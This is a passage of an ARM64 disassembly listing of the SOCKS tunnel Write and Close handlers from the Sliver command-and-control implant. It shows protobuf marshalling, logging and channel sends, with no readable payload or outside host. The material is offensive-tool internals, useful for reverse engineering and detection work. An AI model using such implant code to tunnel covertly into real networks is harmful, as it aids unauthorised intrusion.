    0040d870ldr x0, [sp+40]
    0040d874mov x1, xzr
    0040d878mov x2, xzr
    0040d87cldp x29, x30, [sp-8]
    0040d880add sp, sp, 272
    0040d884ret x30
    0040d888
    0040d888loc_40d888:
    0040d888adrp x0, 0x2ac000
    0040d88cadd x0, x0, 3029
    0040d890movz x1, 25
    0040d894bl errors.New
    0040d898str x0, [sp+248]
    0040d89cstr x1, [sp+256]
    0040d8a0str xzr, [sp+40]
    0040d8a4str x0, [sp+80]
    0040d8a8str x1, [sp+88]
    0040d8acldr x2, [sp+40]
    0040d8b0mov x3, x0
    0040d8b4mov x0, x2
    0040d8b8mov x4, x1
    0040d8bcmov x1, x3
    0040d8c0mov x2, x4
    0040d8c4ldp x29, x30, [sp-8]
    0040d8c8add sp, sp, 272
    0040d8ccret x30
    0040d8d0
    0040d8d0loc_40d8d0:
    0040d8d0adrp x2, 0x1fd000
    0040d8d4add x2, x2, 3520
    0040d8d8bl runtime.panicdottypeE
    0040d8dchint
    0040d8e0
    0040d8e0loc_40d8e0:
    0040d8e0stp x0, x1, [sp+8]
    0040d8e4stp x2, x3, [sp+24]
    0040d8e8mov x3, x30
    0040d8ecbl runtime.morestack_noctxt.abi0
    0040d8f0ldp x0, x1, [sp+8]
    0040d8f4ldp x2, x3, [sp+24]
    0040d8f8b 0x40d6e0
    0040d8fcudf 0
    0040d6e0
    0040d900
    0040d900github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Write: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Write(github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.socks * s, struct []uint8 b)
    0040d900ldr x16, [x28+16]
    0040d904sub x17, sp, 256
    0040d908subs xzr, x17, x16
    0040d90cb.ls 0x40dd70
    0040d910sub x20, sp, 384
    0040d914stp x29, x30, [x20-8]
    0040d918add sp, x20, 0
    0040d91csub x29, sp, 8
    0040d920str x0, [sp+392]
    0040d924str x1, [sp+400]
    0040d928str x2, [sp+408]
    0040d92cstr x3, [sp+416]
    0040d930str xzr, [sp+48]
    0040d934stp xzr, xzr, [sp+72]
    0040d938ldr x1, [sp+392]
    0040d93cldrsb x27, [x1]
    0040d940add x1, x1, 16
    0040d944str x1, [sp+296]
    0040d948ldar x1, [x1]
    0040d94cstr x1, [sp+56]
    0040d950adrp x0, 0x284000
    0040d954add x0, x0, 1504
    0040d958bl runtime.newobject
    0040d95cstr x0, [sp+288]
    0040d960adrp x27, 0x63e000
    0040d964ldr w1, [x27+3056]
    0040d968cbz w1, 0x40d970
    0040d96cb 0x40d974
    0040d970
    0040d970loc_40d970:
    0040d970b 0x40d990
    0040d974
    0040d974loc_40d974:
    0040d974str x0, [sp+192]
    0040d978mov x1, x0
    0040d97cadrp x0, 0x284000
    0040d980add x0, x0, 1504
    0040d984bl runtime.wbZero
    0040d988ldr x0, [sp+192]
    0040d98cb 0x40d990
    0040d990
    0040d990loc_40d990:
    0040d990mov x20, x0
    0040d994adr x27, 16
    0040d998stp x29, x27, [sp-24]
    0040d99csub x29, sp, 24
    0040d9a0bl fn_87cf0
    0040d9a4sub x29, sp, 8
    0040d9a8ldr x2, [sp+288]
    0040d9acldrsb x27, [x2]
    0040d9b0ldr x3, [sp+392]
    0040d9b4ldrsb x27, [x3]
    0040d9b8ldr x3, [x3]
    0040d9bcldrsb x27, [x3]
    0040d9c0ldr x3, [x3+80]
    0040d9c4str x3, [x2+80]
    0040d9c8ldr x2, [sp+288]
    0040d9ccldrsb x27, [x2]
    0040d9d0ldr x3, [sp+400]
    0040d9d4ldr x4, [sp+408]
    0040d9d8ldr x5, [sp+416]
    0040d9dcstr x4, [x2+16]
    0040d9e0str x5, [x2+24]
    0040d9e4adrp x27, 0x63e000
    0040d9e8ldr w4, [x27+3056]
    0040d9eccbz w4, 0x40d9f4
    0040d9f0b 0x40d9f8
    0040d9f4
    0040d9f4loc_40d9f4:
    0040d9f4b 0x40da0c
    0040d9f8
    0040d9f8loc_40d9f8:
    0040d9f8bl runtime.gcWriteBarrier2
    0040d9fcstr x3, [x25]
    0040da00ldr x4, [x2+8]
    0040da04str x4, [x25+8]
    0040da08b 0x40da0c
    0040da0c
    0040da0cloc_40da0c:
    0040da0cstr x3, [x2+8]
    0040da10ldr x2, [sp+288]
    0040da14ldrsb x27, [x2]
    0040da18ldr x3, [sp+56]
    0040da1cstr x3, [x2+72]
    0040da20ldr x2, [sp+288]
    0040da24str x2, [sp+136]
    0040da28stp xzr, xzr, [sp+112]
    0040da2cstr xzr, [sp+128]
    0040da30stp xzr, xzr, [sp+360]
    0040da34ldr x1, [sp+136]
    0040da38adrp x0, 0x307000
    0040da3cadd x0, x0, 3840
    0040da40bl google.golang.org/protobuf/proto.Marshal
    0040da44str x0, [sp+112]
    0040da48str x1, [sp+120]
    0040da4cstr x2, [sp+128]
    0040da50str x3, [sp+360]
    0040da54str x4, [sp+368]
    0040da58ldr x2, [sp+112]
    0040da5cldr x3, [sp+120]
    0040da60ldr x4, [sp+128]
    0040da64str x2, [sp+160]
    0040da68str x3, [sp+168]
    0040da6cstr x4, [sp+176]
    0040da70ldr x2, [sp+360]
    0040da74ldr x3, [sp+368]
    0040da78str x2, [sp+144]
    0040da7cstr x3, [sp+152]
    0040da80ldr x2, [sp+160]
    0040da84ldr x3, [sp+168]
    0040da88ldr x4, [sp+176]
    0040da8cstr x2, [sp+88]
    0040da90str x3, [sp+96]
    0040da94str x4, [sp+104]
    0040da98ldr x1, [sp+144]
    0040da9cldr x2, [sp+152]
    0040daa0str x1, [sp+72]
    0040daa4str x2, [sp+80]
    0040daa8ldr x3, [sp+392]
    0040daacldrsb x27, [x3]
    0040dab0ldr x3, [x3+8]
    0040dab4ldrsb x27, [x3]
    0040dab8ldrb w3, [x3+16]
    0040dabctbnz w3, 0, 0x40dac4
    0040dac0b 0x40dd5c
    0040dac4
    0040dac4loc_40dac4:
    0040dac4ldr x1, [sp+392]
    0040dac8ldrsb x27, [x1]
    0040daccadd x1, x1, 16
    0040dad0str x1, [sp+280]
    0040dad4ldar x1, [x1]
    0040dad8str x1, [sp+56]
    0040dadcldr x1, [sp+408]
    0040dae0str x1, [sp+64]
    0040dae4stp xzr, xzr, [sp+312]
    0040dae8stp xzr, xzr, [sp+328]
    0040daecstp xzr, xzr, [sp+344]
    0040daf0add x1, sp, 312
    0040daf4str x1, [sp+248]
    0040daf8ldr x0, [sp+56]
    0040dafcbl runtime.convT64
    0040db00str x0, [sp+240]
    0040db04ldr x1, [sp+248]
    0040db08ldrsb x27, [x1]
    0040db0cadrp x2, 0x1e8000
    0040db10add x2, x2, 3456
    0040db14str x2, [x1]
    0040db18adrp x27, 0x63e000
    0040db1cldr w2, [x27+3056]
    0040db20cbz w2, 0x40db28
    0040db24b 0x40db2c
    0040db28
    0040db28loc_40db28:
    0040db28b 0x40db40
    0040db2c
    0040db2cloc_40db2c:
    0040db2cbl runtime.gcWriteBarrier2
    0040db30str x0, [x25]
    0040db34ldr x2, [x1+8]
    0040db38str x2, [x25+8]
    0040db3cb 0x40db40
    0040db40
    0040db40loc_40db40:
    0040db40str x0, [x1+8]
    0040db44ldr x0, [sp+64]
    0040db48bl runtime.convT64
    0040db4cstr x0, [sp+232]
    0040db50ldr x1, [sp+248]
    0040db54ldrsb x27, [x1]
    0040db58adrp x2, 0x1e8000
    0040db5cadd x2, x2, 3520
    0040db60str x2, [x1+16]
    0040db64adrp x27, 0x63e000
    0040db68ldr w2, [x27+3056]
    0040db6ccbz w2, 0x40db74
    0040db70b 0x40db78
    0040db74
    0040db74loc_40db74:
    0040db74b 0x40db8c
    0040db78
    0040db78loc_40db78:
    0040db78bl runtime.gcWriteBarrier2
    0040db7cstr x0, [x25]
    0040db80ldr x3, [x1+24]
    0040db84str x3, [x25+8]
    0040db88b 0x40db8c
    0040db8c
    0040db8cloc_40db8c:
    0040db8cstr x0, [x1+24]
    0040db90ldr x0, [sp+400]
    0040db94ldr x1, [sp+408]
    0040db98ldr x2, [sp+416]
    0040db9cbl runtime.convTslice
    0040dba0str x0, [sp+224]
    0040dba4ldr x3, [sp+248]
    0040dba8ldrsb x27, [x3]
    0040dbacadrp x4, 0x1e0000
    0040dbb0add x4, x4, 1216
    0040dbb4str x4, [x3+32]
    0040dbb8adrp x27, 0x63e000
    0040dbbcldr w4, [x27+3056]
    0040dbc0cbz w4, 0x40dbc8
    0040dbc4b 0x40dbcc
    0040dbc8
    0040dbc8loc_40dbc8:
    0040dbc8b 0x40dbe0
    0040dbcc
    0040dbccloc_40dbcc:
    0040dbccbl runtime.gcWriteBarrier2
    0040dbd0str x0, [x25]
    0040dbd4ldr x5, [x3+40]
    0040dbd8str x5, [x25+8]
    0040dbdcb 0x40dbe0
    0040dbe0
    0040dbe0loc_40dbe0:
    0040dbe0str x0, [x3+40]
    0040dbe4ldr x2, [sp+248]
    0040dbe8ldrsb x27, [x2]
    0040dbecb 0x40dbf0
    0040dbf0
    0040dbf0loc_40dbf0:
    0040dbf0str x2, [sp+256]
    0040dbf4orr x4, xzr, 3
    0040dbf8str x4, [sp+264]
    0040dbfcstr x4, [sp+272]
    0040dc00adrp x0, 0x2c3000
    0040dc04add x0, x0, 536
    0040dc08movz x1, 85
    0040dc0cmov x3, x4
    0040dc10bl log.Printf
    0040dc14adrp x0, 0x277000
    0040dc18add x0, x0, 2848
    0040dc1cbl runtime.newobject
    0040dc20str x0, [sp+216]
    0040dc24adrp x27, 0x63e000
    0040dc28ldr w5, [x27+3056]
    0040dc2ccbz w5, 0x40dc34
    0040dc30b 0x40dc38
    0040dc34
    0040dc34loc_40dc34:
    0040dc34b 0x40dc54
    0040dc38
    0040dc38loc_40dc38:
    0040dc38str x0, [sp+184]
    0040dc3cmov x1, x0
    0040dc40adrp x0, 0x277000
    0040dc44add x0, x0, 2848
    0040dc48bl runtime.wbZero
    0040dc4cldr x0, [sp+184]
    0040dc50b 0x40dc54
    0040dc54
    0040dc54loc_40dc54:
    0040dc54mov x20, x0
    0040dc58adr x27, 16
    0040dc5cstp x29, x27, [sp-24]
    0040dc60sub x29, sp, 24
    0040dc64bl fn_87cfc
    0040dc68sub x29, sp, 8
    0040dc6cstr xzr, [x0+80]
    0040dc70ldr x2, [sp+216]
    0040dc74ldrsb x27, [x2]
    0040dc78movz x3, 82
    0040dc7cstr w3, [x2+16]
    0040dc80ldr x2, [sp+216]
    0040dc84ldrsb x27, [x2]
    0040dc88ldr x3, [sp+88]
    0040dc8cldr x4, [sp+96]
    0040dc90ldr x5, [sp+104]
    0040dc94str x4, [x2+32]
    0040dc98str x5, [x2+40]
    0040dc9cadrp x27, 0x63e000
    0040dca0ldr w4, [x27+3056]
    0040dca4cbz w4, 0x40dcac
    0040dca8b 0x40dcb0
    0040dcac
    0040dcacloc_40dcac:
    0040dcacb 0x40dcc4
    0040dcb0
    0040dcb0loc_40dcb0:
    0040dcb0bl runtime.gcWriteBarrier2
    0040dcb4str x3, [x25]
    0040dcb8ldr x4, [x2+24]
    0040dcbcstr x4, [x25+8]
    0040dcc0b 0x40dcc4
    0040dcc4
    0040dcc4loc_40dcc4:
    0040dcc4str x3, [x2+24]
    0040dcc8ldr x2, [sp+216]
    0040dcccstr x2, [sp+304]
    0040dcd0ldr x2, [sp+392]
    0040dcd4ldrsb x27, [x2]
    0040dcd8ldr x2, [x2+8]
    0040dcdcldrsb x27, [x2]
    0040dce0ldr x2, [x2]
    0040dce4str x2, [sp+208]
    0040dce8ldr x0, [sp+208]
    0040dcecadd x1, sp, 304
    0040dcf0bl runtime.chansend1
    0040dcf4ldr x2, [sp+392]
    0040dcf8ldrsb x27, [x2]
    0040dcfcadd x2, x2, 16
    0040dd00str x2, [sp+200]
    0040dd04adrp x27, 0x63e000
    0040dd08ldrb w3, [x27+1516]
    0040dd0ctbnz w3, 0, 0x40dd14
    0040dd10b 0x40dd24
    0040dd14
    0040dd14loc_40dd14:
    0040dd14orr x3, xzr, 1
    0040dd18ldaddal x3, x4, [x2]
    0040dd1cadd x4, x4, x3
    0040dd20b 0x40dd3c
    0040dd24
    0040dd24loc_40dd24:
    0040dd24orr x3, xzr, 1
    0040dd28
    0040dd28loc_40dd28:
    0040dd28ldaxr x4, [x2]
    0040dd2cadd x4, x4, x3
    0040dd30stlxr w27, x4, [x2]
    0040dd34cbnz x27, 0x40dd28
    0040dd38b 0x40dd3c
    0040dd3c
    0040dd3cloc_40dd3c:
    0040dd3cldr x0, [sp+408]
    0040dd40str x0, [sp+64]
    0040dd44str x0, [sp+48]
    0040dd48ldr x2, [sp+80]
    0040dd4cldr x1, [sp+72]
    0040dd50ldp x29, x30, [sp-8]
    0040dd54add sp, sp, 384
    0040dd58ret x30
    0040dd5c
    0040dd5cloc_40dd5c:
    0040dd5cstr xzr, [sp+48]
    0040dd60mov x0, xzr
    0040dd64ldp x29, x30, [sp-8]
    0040dd68add sp, sp, 384
    0040dd6cret x30
    0040dd70
    0040dd70loc_40dd70:
    0040dd70stp x0, x1, [sp+8]
    0040dd74stp x2, x3, [sp+24]
    0040dd78mov x3, x30
    0040dd7cbl runtime.morestack_noctxt.abi0
    0040dd80ldp x0, x1, [sp+8]
    0040dd84ldp x2, x3, [sp+24]
    0040dd88b 0x40d900
    0040dd8cudf 0
    0040d900
    0040dd90
    0040dd90github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Close: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.(*socks).Close(github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.socks * s)
    0040dd90ldr x16, [x28+16]
    0040dd94sub x17, sp, 176
    0040dd98subs xzr, x17, x16
    0040dd9cb.ls 0x40e0d0
    0040dda0sub x20, sp, 304
    0040dda4stp x29, x30, [x20-8]
    0040dda8add sp, x20, 0
    0040ddacsub x29, sp, 8
    0040ddb0str x0, [sp+312]
    0040ddb4stp xzr, xzr, [sp+48]
    0040ddb8stp xzr, xzr, [sp+280]
    0040ddbcldr x3, [sp+312]
    0040ddc0ldrsb x27, [x3]
    0040ddc4ldr x3, [x3]
    0040ddc8ldrsb x27, [x3]
    0040ddccldr x3, [x3+80]
    0040ddd0str x3, [sp+40]
    0040ddd4adrp x27, 0x600000
    0040ddd8ldr x0, [x27+72]
    0040dddcadrp x1, 0x1e8000
    0040dde0add x1, x1, 3456
    0040dde4add x2, sp, 40
    0040dde8bl sync.(*Map).LoadAndDelete
    0040ddecstr x0, [sp+280]
    0040ddf0str x1, [sp+288]
    0040ddf4strb w2, [sp+39]
    0040ddf8ldr x3, [sp+280]
    0040ddfcldr x4, [sp+288]
    0040de00str x3, [sp+160]
    0040de04str x4, [sp+168]
    0040de08ldrb w3, [sp+39]
    0040de0cstrb w3, [sp+38]
    0040de10ldr x3, [sp+160]
    0040de14ldr x4, [sp+168]
    0040de18str x3, [sp+104]
    0040de1cstr x4, [sp+112]
    0040de20ldrb w3, [sp+38]
    0040de24strb w3, [sp+37]
    0040de28tbnz w3, 0, 0x40de30
    0040de2cb 0x40e094
    0040de30
    0040de30loc_40de30:
    0040de30ldr x0, [sp+104]
    0040de34ldr x3, [sp+112]
    0040de38adrp x1, 0x1eb000
    0040de3cadd x1, x1, 2176
    0040de40subs xzr, x0, x1
    0040de44b.eq 0x40de4c
    0040de48b 0x40e0c0
    0040de4c
    0040de4cloc_40de4c:
    0040de4cstr x3, [sp+216]
    0040de50ldr x0, [sp+216]
    0040de54bl runtime.closechan
    0040de58adrp x0, 0x284000
    0040de5cadd x0, x0, 1504
    0040de60bl runtime.newobject
    0040de64str x0, [sp+208]
    0040de68adrp x27, 0x63e000
    0040de6cldr w1, [x27+3056]
    0040de70cbz w1, 0x40de78
    0040de74b 0x40de7c
    0040de78
    0040de78loc_40de78:
    0040de78b 0x40de98
    0040de7c
    0040de7cloc_40de7c:
    0040de7cstr x0, [sp+184]
    0040de80mov x1, x0
    0040de84adrp x0, 0x284000
    0040de88add x0, x0, 1504
    0040de8cbl runtime.wbZero
    0040de90ldr x0, [sp+184]
    0040de94b 0x40de98
    0040de98
    0040de98loc_40de98:
    0040de98mov x20, x0
    0040de9cadr x27, 16
    0040dea0stp x29, x27, [sp-24]
    0040dea4sub x29, sp, 24
    0040dea8bl fn_87cf0
    0040deacsub x29, sp, 8
    0040deb0ldr x2, [sp+208]
    0040deb4ldrsb x27, [x2]
    0040deb8ldr x3, [sp+312]
    0040debcldrsb x27, [x3]
    0040dec0ldr x3, [x3]
    0040dec4ldrsb x27, [x3]
    0040dec8ldr x3, [x3+80]
    0040deccstr x3, [x2+80]
    0040ded0ldr x2, [sp+208]
    0040ded4ldrsb x27, [x2]
    0040ded8orr x3, xzr, 1
    0040dedcstrb w3, [x2+32]
    0040dee0ldr x2, [sp+208]
    0040dee4str x2, [sp+256]
    0040dee8stp xzr, xzr, [sp+232]
    0040deecstr xzr, [sp+248]
    0040def0stp xzr, xzr, [sp+264]
    0040def4ldr x1, [sp+256]
    0040def8adrp x0, 0x307000
    0040defcadd x0, x0, 3840
    0040df00bl google.golang.org/protobuf/proto.Marshal
    0040df04str x0, [sp+232]
    0040df08str x1, [sp+240]
    0040df0cstr x2, [sp+248]
    0040df10str x3, [sp+264]
    0040df14str x4, [sp+272]
    0040df18ldr x2, [sp+232]
    0040df1cldr x3, [sp+240]
    0040df20ldr x4, [sp+248]
    0040df24str x2, [sp+136]
    0040df28str x3, [sp+144]
    0040df2cstr x4, [sp+152]
    0040df30ldr x2, [sp+264]
    0040df34ldr x3, [sp+272]
    0040df38str x2, [sp+120]
    0040df3cstr x3, [sp+128]
    0040df40ldr x2, [sp+136]
    0040df44ldr x3, [sp+144]
    0040df48ldr x4, [sp+152]
    0040df4cstr x2, [sp+80]
    0040df50str x3, [sp+88]
    0040df54str x4, [sp+96]
    0040df58ldr x0, [sp+120]
    0040df5cldr x1, [sp+128]
    0040df60str x0, [sp+64]
    0040df64str x1, [sp+72]
    0040df68ldr x2, [sp+312]
    0040df6cldrsb x27, [x2]
    0040df70ldr x2, [x2+8]
    0040df74ldrsb x27, [x2]
    0040df78ldrb w2, [x2+16]
    0040df7ctbnz w2, 0, 0x40df84
    0040df80b 0x40e080
    0040df84
    0040df84loc_40df84:
    0040df84adrp x0, 0x277000
    0040df88add x0, x0, 2848
    0040df8cbl runtime.newobject
    0040df90str x0, [sp+200]
    0040df94adrp x27, 0x63e000
    0040df98ldr w1, [x27+3056]
    0040df9ccbz w1, 0x40dfa4
    0040dfa0b 0x40dfa8
    0040dfa4
    0040dfa4loc_40dfa4:
    0040dfa4b 0x40dfc4
    0040dfa8
    0040dfa8loc_40dfa8:
    0040dfa8str x0, [sp+176]
    0040dfacmov x1, x0
    0040dfb0adrp x0, 0x277000
    0040dfb4add x0, x0, 2848
    0040dfb8bl runtime.wbZero
    0040dfbcldr x0, [sp+176]
    0040dfc0b 0x40dfc4
    0040dfc4
    0040dfc4loc_40dfc4:
    0040dfc4mov x20, x0
    0040dfc8adr x27, 16
    0040dfccstp x29, x27, [sp-24]
    0040dfd0sub x29, sp, 24
    0040dfd4bl fn_87cfc
    0040dfd8sub x29, sp, 8
    0040dfdcstr xzr, [x0+80]
    0040dfe0ldr x2, [sp+200]
    0040dfe4ldrsb x27, [x2]
    0040dfe8movz x3, 82
    0040dfecstr w3, [x2+16]
    0040dff0ldr x2, [sp+200]
    0040dff4ldrsb x27, [x2]
    0040dff8ldr x3, [sp+80]
    0040dffcldr x4, [sp+88]
    0040e000ldr x5, [sp+96]
    0040e004str x4, [x2+32]
    0040e008str x5, [x2+40]
    0040e00cadrp x27, 0x63d000
    0040e010ldr w4, [x27+3056]
    0040e014cbz w4, 0x40e01c
    0040e018b 0x40e020
    0040e01c
    0040e01cloc_40e01c:
    0040e01cb 0x40e034
    0040e020
    0040e020loc_40e020:
    0040e020bl runtime.gcWriteBarrier2
    0040e024str x3, [x25]
    0040e028ldr x4, [x2+24]
    0040e02cstr x4, [x25+8]
    0040e030b 0x40e034
    0040e034
    0040e034loc_40e034:
    0040e034str x3, [x2+24]
    0040e038ldr x2, [sp+200]
    0040e03cstr x2, [sp+224]
    0040e040ldr x2, [sp+312]
    0040e044ldrsb x27, [x2]
    0040e048ldr x2, [x2+8]
    0040e04cldrsb x27, [x2]
    0040e050ldr x2, [x2]
    0040e054str x2, [sp+192]
    0040e058ldr x0, [sp+192]
    0040e05cadd x1, sp, 224
    0040e060bl runtime.chansend1
    0040e064ldr x0, [sp+64]
    0040e068ldr x1, [sp+72]
    0040e06cstr x0, [sp+48]
    0040e070str x1, [sp+56]
    0040e074ldp x29, x30, [sp-8]
    0040e078add sp, sp, 304
    0040e07cret x30
    0040e080
    0040e080loc_40e080:
    0040e080str x0, [sp+48]
    0040e084str x1, [sp+56]
    0040e088ldp x29, x30, [sp-8]
    0040e08cadd sp, sp, 304
    0040e090ret x30
    0040e094
    0040e094loc_40e094:
    0040e094adrp x0, 0x2b2000
    0040e098add x0, x0, 2981
    0040e09cmovz x1, 35
    0040e0a0bl errors.New
    0040e0a4str x0, [sp+264]
    0040e0a8str x1, [sp+272]
    0040e0acstr x0, [sp+48]
    0040e0b0str x1, [sp+56]
    0040e0b4ldp x29, x30, [sp-8]
    0040e0b8add sp, sp, 304
    0040e0bcret x30
    0040e0c0
    0040e0c0loc_40e0c0:
    0040e0c0adrp x2, 0x1fc000
    0040e0c4add x2, x2, 3520
    0040e0c8bl runtime.panicdottypeE
    0040e0cchint
    0040e0d0
    0040e0d0loc_40e0d0:
    0040e0d0str x0, [sp+8]
    0040e0d4mov x3, x30
    0040e0d8bl runtime.morestack_noctxt.abi0
    0040e0dcldr x0, [sp+8]
    0040e0e0b 0x40dd90
    0040e0e4udf 0
    0040e0e8udf 0
    0040e0ecudf 0
    0040dd90